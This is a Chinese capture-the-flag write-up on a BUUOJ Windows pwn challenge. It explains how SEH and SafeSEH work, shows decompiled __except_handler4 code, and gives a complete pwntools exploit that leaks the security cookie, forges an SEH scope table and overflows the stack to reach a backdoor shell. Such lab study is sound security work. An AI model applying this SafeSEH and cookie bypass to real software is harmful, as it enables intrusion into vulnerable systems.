用IDA分析一下,栈溢出漏洞
但是程序结尾不能ret,直接exit了
我们注意到,程序开始时,注册了SHE处理
当程序发生异常,比如访问非法地址时,将造成异常,如果程序有注册SHE异常处理,则使用相关的handler来处理异常。
push offset stru_403688压入了一个结构体地址,这个结构体是SEH SCOPE TABLE,它的结构如下
其中我们注意到里面有两个函数指针,如果我们能够伪造一个这样的结构体,并把函数指针指向后门函数,就可以达到目的。
push offset __except_handler4
压入了一个异常处理的handler,如果程序没有开启SAFE SHE,那么我们不需要伪造SEH SCOPE TABLE,直接覆盖这个handler指针为后门函数地址即可,但是如果开启了SAFE SHE,那么程序会检测hanlder是否在某一个合法的范围内,就如glibc下面的vtable范围检查一样。因此,在SAFE SHE下,我们可以通过伪造SEH SCOPE TABLE来达到利用。
__except_handler4的源码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 void __cdecl ValidateLocalCookies (void (__fastcall *cookieCheckFunction)(unsigned int ), _EH4_SCOPETABLE *scopeTable, char *framePointer) { unsigned int v3; unsigned int v4; if ( scopeTable->GSCookieOffset != -2 ) { v3 = *(_DWORD *)&framePointer[scopeTable->GSCookieOffset] ^ (unsigned int )&framePointer[scopeTable->GSCookieXOROffset]; __guard_check_icall_fptr(cookieCheckFunction); ((void (__thiscall *)(_DWORD))cookieCheckFunction)(v3); } v4 = *(_DWORD *)&framePointer[scopeTable->EHCookieOffset] ^ (unsigned int )&framePointer[scopeTable->EHCookieXOROffset]; __guard_check_icall_fptr(cookieCheckFunction); ((void (__thiscall *)(_DWORD))cookieCheckFunction)(v4); } int __cdecl _except_handler4_common(unsigned int *securityCookies, void (__fastcall *cookieCheckFunction)(unsigned int ), _EXCEPTION_RECORD *exceptionRecord, unsigned __int32 sehFrame, _CONTEXT *context){ scopeTable_1 = (_EH4_SCOPETABLE *)(*securityCookies ^ *(_DWORD *)(sehFrame + 8 )); framePointer = (char *)(sehFrame + 16 ); scopeTable = scopeTable_1; ValidateLocalCookies(cookieCheckFunction, scopeTable_1, (char *)(sehFrame + 16 )); __except_validate_context_record(context); if ( exceptionRecord->ExceptionFlags & 0x66 ) { ...... } else { exceptionPointers.ExceptionRecord = exceptionRecord; exceptionPointers.ContextRecord = context; tryLevel = *(_DWORD *)(sehFrame + 12 ); *(_DWORD *)(sehFrame - 4 ) = &exceptionPointers; if ( tryLevel != -2 ) { while ( 1 ) { v8 = tryLevel + 2 * (tryLevel + 2 ); filterFunc = (int (__fastcall *)(_DWORD, _DWORD))*(&scopeTable_1->GSCookieXOROffset + v8); scopeTableRecord = (_EH4_SCOPETABLE_RECORD *)((char *)scopeTable_1 + 4 * v8); encloseingLevel = scopeTableRecord->EnclosingLevel; scopeTableRecord_1 = scopeTableRecord; if ( filterFunc ) { filterFuncRet = _EH4_CallFilterFunc(filterFunc); ...... if ( filterFuncRet > 0 ) { ...... _EH4_TransferToHandler(scopeTableRecord_1->HandlerFunc, v5 + 16 ); ...... } } ...... tryLevel = encloseingLevel; if ( encloseingLevel == -2 ) break ; scopeTable_1 = scopeTable; } ...... } } ...... }
从__except_handler4源码中,我们看到,我们只需要伪造好了*FilterFunc,*即可执行相应的函数。
xor [ebp+ms_exc.registration.ScopeTable], eax会将栈里的SHE ScopeTable指针与___security_cookie进行加密,因此,我们伪造SHE ScopeTable指针时,也需要加密一遍。我们仅需要修改栈里scopeTbale指针,而不要把其他的SHE帧里其他的给改了,sehFrame 的结构如下
大小为0x18,从IDA的F5中也可以发现
从__except_handler4的源码中看到,还有一个ValidateLocalCookies函数对cookie的验证,类似于linux下的canary验证,我们只需要调试,确定好其位置,然后计算其值,写入即可。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 from pwn import *sh = remote('node3.buuoj.cn' ,26098 ) def get_data (addr ): sh.sendlineafter('Do you want to know more?' ,'yes' ) sh.sendlineafter('Where do you want to know' ,str (addr)) sh.recvuntil('value is ' ) data = int (sh.recvuntil('\r\n' ,drop = True ),16 ) return data sh.recvuntil('stack address = ' ) stack_addr = int (sh.recvuntil('\r\n' ,drop = True ),16 ) print 'stack_addr=' ,hex (stack_addr)sh.recvuntil('main address = ' ) exe_base = int (sh.recvuntil('\r\n' ,drop = True ),16 ) - 0x10B0 backdoor = exe_base + 0x138D security_cookie_addr = exe_base + 0x4004 print 'exe_base=' ,hex (exe_base)print 'backdoor=' ,hex (backdoor)print 'security_cookie_addr=' ,hex (security_cookie_addr)security_cookie = get_data(security_cookie_addr) print 'security_cookie=' ,hex (security_cookie)SEH_scope_table = p32(0xFFFFFFE4 ) SEH_scope_table += p32(0 ) SEH_scope_table += p32(0xFFFFFF20 ) SEH_scope_table += p32(0 ) SEH_scope_table += p32(0xFFFFFFFE ) SEH_scope_table += p32(backdoor) SEH_scope_table += p32(0 ) payload = 'a' *0x10 + SEH_scope_table fake_SEH_scope_table_addr = stack_addr + 0x10 payload= payload.ljust(0x80 ,'a' ) payload += p32((stack_addr + 0x9C ) ^ security_cookie) payload += p32(stack_addr - 0x44 ) payload += p32(0 ) payload += p32(stack_addr + 0xD4 ) payload += p32(exe_base + 0x1460 ) payload += p32(fake_SEH_scope_table_addr ^ security_cookie) payload += p32(0 ) sh.sendlineafter('Do you want to know more?' ,'n' ) sh.sendline(payload) sh.sendlineafter('Do you want to know more?' ,'yes' ) sh.sendlineafter('Where do you want to know' ,'1' ) sh.interactive()